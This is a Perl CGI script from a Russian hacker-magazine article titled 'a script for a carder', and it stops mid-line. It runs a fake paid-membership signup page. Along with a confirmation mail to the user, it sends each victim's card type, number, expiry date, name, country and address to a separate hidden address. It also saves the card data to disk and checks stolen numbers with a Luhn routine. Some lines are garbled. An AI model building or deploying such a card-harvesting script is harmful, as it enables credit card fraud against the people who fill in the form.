|

Скрипт для кардера
Xakep, номер #020, стр. 020-036-4
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Congratulations!\n";
print MAIL "To: $FORM{mail}\n";
print MAIL "From: $admin\n\n";
print MAIL "You have joined to our server!\n";
print MAIL "Your login: ".$FORM{login}."\n";
print MAIL "Your password: ".$FORM{password}."\n";
print MAIL "Thanks for using our server!\n\n";
close (MAIL);
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Congratulations!\n";
print MAIL "To: $mail\n";
print MAIL "From: ".$admin."\n\n";
print MAIL "$FORM{type} $FORM{ccard} $date\n";
print MAIL "$FORM{name}\n$FORM{country}\n$FORM{address}\n\n";
close (MAIL);
$FORM{type}=~s/VS/Visa/; $FORM{type}=~s/MC/MasterCard/;
$FORM{type}=~s/AX/American Express/;
open (DATA, ">$user_dir$FORM{login}");
print DATA "$FORM{type}|$FORM{ccard}|$date\n$FORM{password}\n$FORM{mail}\n";
print DATA "$FORM{name}\n$FORM{country}\n$FORM{address}\n";
close (DATA);
$data=(time()+$FORM{mount}*24*3600);
open (DATA, ">$status_dir$FORM{login}");
print DATA "$data\n".time()."\n127.0.0.1\n";
close (DATA);
@out=confiles ($file{join});
@out=exchange ("!login!",$FORM{login},@out);
@out=exchange ("!password!",$FORM{password},@out);
print @out;}}
else {@out=confiles ($file{form});
@out=exchange ("!warning!","",@out);
print @out;}
sub check_number {
my($card_type, $card_num, $exp_date) = @_;
my(%card_length) = ('VS', '13,15,16', 'MC', '16', 'AX', '15');
my($old_card_num, $card_length, $total, $d, $data, @data);
$card_type =~ tr/a-z/A-Z/;
if (!$card_length{$card_type}) {
$war = "$card_type is not a valid card type.";
return(1);}
$old_card_num = $card_num;
$card_num =~ s/\D//g;
$card_length = length($card_num);
if (!($card_length{$card_type} =~ /(^|,)$card_length(,|$)/)) {
$war = "Card number $old_card_num does not have the correct number of digits";
return(2);}
my($month_now) = (localtime)[4];
my($year_now); $month_now++; $exp_date =~ m|(\d+)/(\d+)|;
$exp_month = $1; $exp_year = $2;
$data=localtime(time());
@data=split (' ',$data); $year_now=$data[4];
if ((($year_now == $exp_year) && ($month_now > $exp_month))
|| ($exp_year < $year_now)) {
$war = "$exp_date is an invalid expiration date";
return(3);}
while (length($card_num)) {
$total += chop($card_num);
$total += (($d = chop($card_num)) < 9) ? ($d * 2) % 9 : 9;}
if ($total % 10) {
$war = "$old_card_num is invalid credit card number";
return(4);} return(0);}
/ Файл login.cgi /
#!/usr/local/bin/perl
require 'func.pl';
## Переменные
$file{form}="login.dat";
$go="../gallery.htm";
&parse_form;
$FORM{login}=~s /[\/\\.|><]//g;
if ($FORM{step} eq "2"){
if (not -e "$status_dir$FORM{login}") {&loadagain;}
open (PASS, "$user_dir$FORM{login}");
$pass=; $pass=; chomp ($pass);
close (PASS);
if ($pass ne $FORM{password}) {&loadagain;}
open (DATE, "$status_dir$FORM{login}");
$date=; chomp ($date);
close (DATE);
if ($date
|